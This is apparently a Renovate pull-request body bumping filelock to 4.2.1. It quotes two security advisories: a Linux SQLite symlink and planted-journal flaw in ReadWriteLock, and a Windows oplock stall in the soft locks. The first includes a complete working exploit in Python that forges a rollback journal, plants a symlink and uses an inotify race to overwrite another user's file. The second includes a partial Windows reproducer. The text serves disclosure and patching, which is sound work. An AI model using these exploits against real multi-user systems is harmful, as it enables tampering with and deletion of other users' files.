[renovate]

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
filelock	4.0.4 → 4.2.1

---

filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files

CVE-2026-112940 / GHSA-v4x8-3wr5-3wq8

More information

Details

ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to /proc/self/fd/<n>, a Linux path that names the process's own open file n. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on -journal, -wal and -shm files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.

Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary read_lock() or write_lock() write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as /tmp a planted -wal file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the /proc/self/fd redirect since 4.0.9, the side-file variants since 3.20.4).

Anthropic's OSS Scanner reported this in private as ANT-2026-KMJ2575J [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H scores 7.1 (High). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. I:H (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. A:H (high availability impact): the other user makes every acquire fail or kills the lock holder. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.

Classification from the external review: conditional security, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.

Scope and preconditions

• The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a 0777 directory or a group-writable one (including a setgid 2775 project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is 0666. filelock itself creates the database 0600.
• Sticky directories (/tmp, /var/tmp, any 1777 directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with fs.protected_regular=2). What remains is a planted non-empty <db>-wal (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise sqlite3.OperationalError: disk I/O error. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if fs.protected_hardlinks=0.
• Two kernel settings matter. fs.protected_regular (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in /tmp, and SQLite follows a planted symlink itself (not tested). fs.protected_hardlinks=1 (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.
• Platform and route. The /proc/self/fd redirect is Linux with /proc mounted, 4.0.9 and later. The side-file variants (-journal, -wal, -shm) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without /proc) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.
• Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496b0273: _connect_through_descriptor builds /proc/self/fd/<n> and hands it to sqlite3.connect. The assumption is the comment at line 63, "Descriptor paths reopen the validated inode" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at PRAGMA journal_mode=MEMORY, line 816. The check in _raise_if_database_replaced at line 836 runs only after BEGIN. Both _open_lock_database and _raise_if_wal inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is _link_beside.

Introduced

The /proc/self/fd redirect came with 4d45e83 ("Merge commit from fork", the fix for GHSA-j8f7-rjxc-mr56), first released in 4.0.9 (verified: git tag --contains 4d45e83 gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#​399)"), first released in 3.20.4 (verified), which passed the lock path straight to sqlite3.connect.

Mechanism

On Linux the lock opens the database with O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls sqlite3.connect("/proc/self/fd/<n>") and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs readlink() on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows readlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db" and then a second openat of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is <database> (deleted). A symlink with that exact name sends SQLite wherever its creator chose.

The other user prepares the directory before the lock user runs. They create a database cache.lock.db (0666, so the lock user's lock accepts it) with a second hard link cache.lock.db.keep, and the symlink cache.lock.db (deleted) -> /tmp/victim-notes.txt. The lock user's os.open raises an inotify IN_OPEN event. The other user unlinks cache.lock.db and links cache.lock.db.keep back under the same name. The lock user's descriptor still refers to the unlinked entry, so /proc/self/fd/3 now reads /tmp/shared-cache/cache.lock.db (deleted). sqlite3.connect resolves it, follows the symlink and opens the target O_RDWR|O_CREAT. None of filelock's checks look at that file. _open_lock_database and _raise_if_wal inspect descriptor 3. _raise_if_database_replaced compares an lstat of the lock path with the descriptor's (st_dev, st_ino), which passes because the other user linked the same inode back, and it runs only after BEGIN.

The damage comes from the first statement, PRAGMA journal_mode=MEMORY. SQLite finds <target>-journal, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):

openat("/tmp/shared-cache/cache.lock.db", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3
readlink("/proc/3819/fd/3", "/tmp/shared-cache/cache.lock.db (deleted)", 4096) = 41
readlink("/tmp/shared-cache/cache.lock.db (deleted)", "/tmp/victim-notes.txt", 4096) = 21
openat("/tmp/victim-notes.txt", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4
openat("/tmp/victim-notes.txt-journal", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5
pread64(5, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 516) = 4096
pwrite64(4, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 0) = 4096
unlink("/tmp/victim-notes.txt-journal") = -1 EPERM            -> "disk I/O error"

The redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with O_CREAT. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, 0644, owned by the lock user) and raised nothing. With the symlink pointing at a 0600 WAL-mode SQLite database of the lock user, write_lock() returned without error and the database's header bytes 18 and 19 changed from 2 2 to 1 1. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.

Side-file names beside the database. Two comments record the belief that SQLite names its side files after the descriptor path (line 63, line 1095). The path is not synthetic to SQLite. It derives <database>-journal, <database>-wal and <database>-shm from the resolved real path in the shared directory. journal_mode=MEMORY governs only journals SQLite would write, not ones it finds. These variants need no redirect.

A hot -journal makes the lock user unlink a file the journal names; no race. The other user unlinks the lock user's empty lock.db, puts a one-page SQLite database (0666) in its place, and writes a 46-byte lock.db-journal: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a "super-journal", and recovery ends by unlinking that file. The lock user's next read_lock() or write_lock() returns without error and the named file is gone (unlink("/home/victim/private/notes.txt") = 0, from a 0700 directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as lock.db-journal instead blocks read_lock(timeout=2) in SQLite's open() of the journal (still blocked when killed after 10 s).

A re-planted -wal puts the holder in WAL mode past _raise_if_wal. _raise_if_wal checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats <db>-wal, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks -wal and -shm. The BEGIN at line 833 is a separate statement that starts unlocked and stats <db>-wal again. Re-creating the 32-byte -wal in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.

The lock user's with lock.write_lock(): then holds the -shm byte-120 WAL write lock and only SHARED on the database. Once the other user removes the -wal, a second process of the lock user gets read_lock(timeout=1) granted while the writer is inside its block, with no exception on either side. SQLite also creates <db>-shm with the database's permission bits (0666) and keeps it mapped into memory. After the other user truncates it, the writer dies with SIGBUS (the signal for touching a mapped file region that no longer exists) in connection.rollback() during release().

A -wal in a sticky directory makes every acquire raise; no race, no access to the database. Beside the lock user's own empty 0600 database, a non-empty <db>-wal (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a 1777 directory the lock user cannot unlink another user's file (unlink(...) = -1 EPERM), so the pragma fails with SQLITE_IOERR_DELETE. The code in _do_acquire_inner translates only "database is locked" into Timeout. sqlite3.OperationalError: disk I/O error therefore leaves every acquire_read() / acquire_write() (and the async variants) within milliseconds, whatever timeout or blocking says, until the file's owner or root removes it.

Further effects observed at this commit in a non-sticky directory. A 0755 script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises file is not a database). A hard link to the lock user's 0600 ~/.profile at the lock path does the same in a sticky /tmp when fs.protected_hardlinks=0. When the locking process runs as root, SQLite runs fchown on a -wal or -shm it opens to match the owner of the database, so root's 0600 service.env renamed to app.lock.db-wal belonged to the other user after root's read_lock().

A journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so acquire_read returns with no lock held in /proc/locks and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte lock.db-wal plus a lock.db-shm on which the other user holds two byte locks makes the acquire take 10 s regardless of timeout and raise locking protocol, or die with SIGBUS if the other user truncates the -shm.

The hard-link route in a directory without the sticky bit. None of the above occurs on the _link_beside branch (macOS, Linux without /proc). There SQLite's main file is .filelock-…/lock.db in the connecting user's 0700 directory. That protection holds only where no other user can rename the .filelock-* entry itself, because 0700 protects the contents, not the entry in the parent. _link_beside checks the link once and returns a pathname, and every later use is by that name.

With /proc hidden in a 0777 directory, the other user staged a directory holding a hard link lock.db to a one-page database and a hot lock.db-journal. They held BEGIN EXCLUSIVE on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's .filelock-* directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with EPERM.

Reproduction

The scanner's reproducer for ANT-2026-KMJ2575J, quoted as received. It ran against commit b831496b0273.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys

as_victim = {"user": "victim", "group": "victim", "extra_groups": []}
as_attacker = {"user": "attacker", "group": "attacker", "extra_groups": []}

##### set up: the lock database lives in a shared cache directory, 0777 and not sticky
shared_dir = "/tmp/shared-cache"
lock_db = shared_dir + "/cache.lock.db"
shutil.rmtree(shared_dir, ignore_errors=True)
os.mkdir(shared_dir)
os.chmod(shared_dir, 0o777)

##### set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write
target = "/tmp/victim-notes.txt"
for leftover in (target, target + "-journal"):
    if os.path.lexists(leftover):
        os.unlink(leftover)
original = b"original victim notes\n"
with open(target, "wb") as notes:
    notes.write(original)
shutil.chown(target, "victim", "victim")
os.chmod(target, 0o600)
direct_write = subprocess.run(
    [sys.executable, "-c", "import sys; open(sys.argv[1], 'r+b')", target], capture_output=True, text=True, **as_attacker
)
print("attacker opening the target for writing:", direct_write.stderr.strip().splitlines()[-1])
assert direct_write.returncode != 0

##### attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target
content = "ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n"
subprocess.run([sys.executable, "/tmp/repro.d/plant_hot_journal.py", target, content], check=True, **as_attacker)
redirect = subprocess.Popen(
    [sys.executable, "/tmp/repro.d/redirect_lock_db.py", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker
)
assert redirect.stdout.readline() == "ready\n"

##### the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times
for run in range(1, 21):
    victim = subprocess.run(
        [sys.executable, "/tmp/repro.d/victim_app.py", lock_db], capture_output=True, text=True, timeout=60, **as_victim
    )
    with open(target, "rb") as notes:
        after = notes.read()
    if after != original:
        break
redirect.kill()
redirect.wait()

##### check: taking a lock on cache.lock.db must leave the victim's notes alone
print(f"victim run {run}: exit status {victim.returncode}:", (victim.stderr.strip() or "no error").splitlines()[-1])
status = os.stat(target)
print("target owner, mode, size:", status.st_uid, oct(status.st_mode & 0o7777), status.st_size)
print("target before:", original)
print("target after: ", after[:60])
print("BUG" if after == content.encode().ljust(4096, b"\0") else "OK")

repro.d/plant_hot_journal.py

#!/usr/bin/env python3
"""The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT."""

import os
import struct
import sys

target, content = sys.argv[1], sys.argv[2].encode()
journal_path = target + "-journal"

##### https://www.sqlite.org/fileformat2.html#the_rollback_journal
JOURNAL_MAGIC = bytes.fromhex("d9d505f920a163d7")
page_size, sector_size, nonce = 4096, 512, 0x11223344
record_count = 1
pages_after_rollback = 1  # SQLite truncates TARGET to this many pages
header = JOURNAL_MAGIC + struct.pack(">IIIII", record_count, nonce, pages_after_rollback, sector_size, page_size)

page_number = 1  # page 1 starts at offset 0
page_image = content.ljust(page_size, b"\0")

##### SQLite's pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200
checksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) & 0xFFFFFFFF
record = struct.pack(">I", page_number) + page_image + struct.pack(">I", checksum)

with open(journal_path, "wb") as journal:
    journal.write(header.ljust(sector_size, b"\0") + record)
os.chmod(journal_path, 0o666)  # the victim's SQLite opens a hot journal O_RDWR

repro.d/redirect_lock_db.py

#!/usr/bin/env python3
"""The attacker: make the victim's SQLite, connecting through /proc/self/fd/<n>, open TARGET instead of LOCK_DB."""

import ctypes
import os
import sys

lock_db, target = sys.argv[1], sys.argv[2]
spare_name = lock_db + ".keep"

##### the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it
os.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))
os.chmod(lock_db, 0o666)
os.link(lock_db, spare_name)

##### what /proc/<pid>/fd/<n> reads back as once the name the descriptor was opened through is unlinked
os.symlink(target, lock_db + " (deleted)")

IN_OPEN = 0x20
libc = ctypes.CDLL(None, use_errno=True)
inotify = libc.inotify_init1(0)
if libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) < 0:
    raise OSError(ctypes.get_errno(), "inotify_add_watch", lock_db)
print("ready", flush=True)

while True:
    os.read(inotify, 4096)  # the victim's ReadWriteLock has opened the database and is validating its descriptor
    os.unlink(lock_db)
    os.link(spare_name, lock_db)  # the same inode back at the path, so filelock's later lstat sees no change

repro.d/victim_app.py

#!/usr/bin/env python3
"""The victim: an application that takes its shared read lock once, as in docs/how-to.rst."""

import sys

from filelock import ReadWriteLock

rw = ReadWriteLock(sys.argv[1])
with rw.read_lock(timeout=5):
    pass

Attack sequence

The redirect, with A the other local user:

sequenceDiagram
    participant A as other local user
    participant V as lock user's process (filelock)
    participant S as SQLite inside that process
    participant K as kernel and filesystem
    rect rgb(255, 214, 214)
        Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit
        A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep
        A->>K: symlink "cache.lock.db (deleted)" pointing at /tmp/victim-notes.txt
        A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)
        V->>K: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL
        K-->>A: inotify IN_OPEN on cache.lock.db
        A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)
        V->>S: sqlite3.connect("/proc/self/fd/3")
        S->>K: readlink(/proc/self/fd/3) returns "cache.lock.db (deleted)"
        S->>K: open("cache.lock.db (deleted)") follows the symlink to victim-notes.txt
        V->>S: PRAGMA journal_mode=MEMORY
        S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt
        Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees "disk I/O error"
        V->>K: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes
    end

Loading

The side-file variants, which need no redirect:

flowchart TD
    B0["acquire validates fd, connects SQLite by a name in the shared directory"] --> B1{"what did the other user put beside the real path?"}
    B1 -- "hot -journal beside a swapped-in one-page database" --> B2["PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds"]
    B1 -- "-wal re-created between PRAGMA and BEGIN" --> B3["holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated"]
    B1 -- "-wal in a sticky directory the lock user cannot unlink" --> B4["every acquire raises OperationalError disk I/O error, timeout ignored"]
    B1 -- "name unlinked and a (deleted) symlink planted" --> B5["SQLite opens the symlink target with O_CREAT"]
    classDef ok fill:#d8f3dc,stroke:#​2d6a4f,color:#​1b4332;
    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#​5c0000;
    classDef info fill:#cfe4ff,stroke:#​1f6feb,color:#​0b1f3a;
    class B0,B1 info;
    class B2,B3,B4,B5 bad;

Loading

Evidence

The scanner's reproducer runs the documented ReadWriteLock(path) + with rw.read_lock(timeout=5): as user victim against /tmp/shared-cache/cache.lock.db (directory 0777, not sticky) while user attacker holds the symlink and reacts to inotify. It first shows that attacker cannot write the target (PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'). On the first victim run it prints victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error, target owner, mode, size: 1000 0o600 4096, target before b'original victim notes\n', after b"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n\x00...", verdict BUG. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two ReadWriteLock instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The -wal re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.

Our verification: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #​834 head it prints OK: all 20 victim runs exit 0 with no error and the target stays 1000 0o600 22 bytes with its original content. The independent review also ran the sticky-directory -wal variant (a 0600 database owned by victim in a 1777 directory, other user plants <db>-wal). 4.2.0 raises OperationalError: disk I/O error; the PR head takes read and write locks with the file still present.

Impact

Another local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create <file>-journal beside it (the lock user's own 0600 files in /tmp qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside write_lock() stops excluding the lock user's other processes from read_lock(), and the holder can die from a SIGBUS that arrives in release().

It is not reachable for a database the lock user owns in /tmp with fs.protected_regular 1 or 2. There only the planted -wal denial of service remains: every acquire raises an undocumented sqlite3.OperationalError that Timeout and OSError handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at <database> (deleted). Windows does not take this path.

Workarounds

• Keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory. The lock creates its database 0600, and leaving it that way keeps other accounts from supplying its content.
• For a lock in a sticky directory keep fs.protected_regular at 1 or 2 and fs.protected_hardlinks=1 (distribution defaults). Treat a sudden sqlite3.OperationalError: disk I/O error on every acquire as a foreign <db>-wal beside the database that the file's owner or root has to remove.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/834

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

• 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273)
• 2026-10-16 00:46 UTC: draft advisory created
• 2026-10-16 01:15 UTC: fix PR #​834 opened

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

• https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8
• https://nvd.nist.gov/vuln/detail/CVE-2026-112940
• https://github.com/tox-dev/filelock/pull/834
• https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d
• https://github.com/tox-dev/filelock/releases/tag/4.2.1
• https://github.com/advisories/GHSA-v4x8-3wr5-3wq8

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break

CVE-2026-112907 / GHSA-567q-5qvw-pf92

More information

Details

On Windows the soft locks (SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async forms, and a FileLock that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each acquire() attempt that finds a marker opens it with os.open to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.

Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every acquire() by the user running the lock (below: the lock user) then waits inside the open, past its timeout, blocking=False and cancel_check, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L scores 2.5 (Low).

AV:L (local): the other account needs a logon on the same host. AC:H (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its lifetime. PR:L (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). UI:N (no user interaction). S:U (scope unchanged). C:N and I:N: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. A:L (partial availability impact): one thread, or the event loop with run_in_executor=False, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.

Classification from the review: security, conditional on an unheld marker that another account can open.

Scope and preconditions

• Platform and classes: Windows only. SoftFileLock, MarkerSoftFileLock, SoftFileLease, AsyncSoftFileLock and the other async soft locks, and FileLock after its ENOSYS fallback to a soft lock. WindowsFileLock opens its lock file on a separate code path that this advisory does not cover.
• Marker access: the soft locks create the marker with os.open, which on Windows applies no more of mode than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.
• Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose lifetime has passed. While the holder keeps its handle, the request fails.
• Holder behavior: the other account requests the oplock through an overlapped DeviceIoControl and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.
• What the lock user sees: SoftFileLock.acquire(timeout=1) returned Timeout after 10.02 s with the second account's handle. In the same-account probe os.open with O_RDONLY was still running after 15 s and returned once the holder closed. The retry loop consults timeout, blocking=False and cancel_check between attempts only. With AsyncSoftFileLock(run_in_executor=False) the event loop waits.
• Stale break: break_lock_file renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.
• Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.

Affected code

Scanned commit b831496b0273: the os.open in _read_lock_file (function), called from _try_break_stale_lock on every attempt that finds a marker, and from _unprobeable_holder, pid and is_lock_held_by_us. break_lock_file renames at L116 and unlinks at L118 and L122, by path. _poll_until_acquired and _check_give_up test the deadline, blocking and cancel_check only between attempts.

Introduced

e35c3af "feat(soft): detect and break stale locks" (#​476, 2026-02-13), first tag 3.22.0 (verified with git tag --contains). Before it a soft lock created its marker with O_CREAT | O_EXCL and never opened an existing one. #​476 read the marker on Windows through CreateFileW and broke a stale one with Path.rename and Path.unlink. These wait for an oplock as os.open does, because none of them passes FILE_COMPLETE_IF_OPLOCKED, an NtCreateFile option that returns instead of waiting. The read became the os.open in _read_lock_file with bfbfa76 (#​548, 3.29.1) and the break moved into break_lock_file with d244c6d (#​551, 3.29.2); the by-path calls stayed.

Mechanism

Each attempt of _acquire first calls os.open(path, O_WRONLY | O_CREAT | O_EXCL). On an existing marker that fails with EEXIST (or EACCES on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. _acquire then calls _try_break_stale_lock, which calls _read_lock_file: os.lstat, then os.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK). On Windows O_NOFOLLOW and O_NONBLOCK do not exist (the code reads them with getattr(os, ..., 0)), and os.open calls CreateFileW. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. _check_give_up tests the deadline after the attempt returns, so the wait overruns timeout, blocking=False and cancel_check by its length. Once the open returns, the attempt ends and _check_give_up raises Timeout, because the deadline has passed.

A marker whose holder is gone takes the second path. break_lock_file renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows os.rename and os.unlink still running after 15 s and returning once the holder closed. The lifetime break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two acquire() calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.

Reproduction

The review's reproducers, quoted as received. oplock_vm.py section [2] is this finding; sections [1a] and [1b] belong to the release() advisory. oplock_semantics_vm.py is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #​835 at 3e4c5ef, where _read_lock_file and break_lock_file are the same code as at b831496b0273 apart from import changes. The second account fltester is a member of Users; the directory grants it (OI)(CI)(M).

oplock_vm.py

"""
Windows oplock checks beyond the lock-file open PR #​835 changes: release() and the soft locks' marker read.

Run on the VM (PowerShell, from the synced worktree, with the fltester account present):
  C:\\venvs\\rev4F\\Scripts\\python.exe oplock_vm.py fltester '<password>' C:\\tmp\\rev4F-oplock

[1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete.
    WindowsFileLock._release closes its handle and then unlinks by path; an oplock granted in between makes the
    DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is;
    [1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it.
[2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the
    marker through os.open, which waits for the acknowledgement, past timeout=1.

A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end.
"""

from __future__ import annotations

import ctypes
import os
import subprocess
import sys
import threading
import time
from ctypes import wintypes

from filelock import FileLock, SoftFileLock, Timeout

user, password, base = sys.argv[1], sys.argv[2], sys.argv[3]
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
os.makedirs(base, exist_ok=True)
subprocess.run([icacls, base, "/grant", f"{user}:(OI)(CI)(M)"], check=True, capture_output=True)

advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
advapi32.LogonUserW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.LPCWSTR,
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.POINTER(wintypes.HANDLE),
]
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.HANDLE,
]

class Overlapped(ctypes.Structure):
    _fields_ = (
        ("Internal", ctypes.c_void_p),
        ("InternalHigh", ctypes.c_void_p),
        ("Offset", wintypes.DWORD),
        ("OffsetHigh", wintypes.DWORD),
        ("hEvent", wintypes.HANDLE),
    )

kernel32.DeviceIoControl.argtypes = [
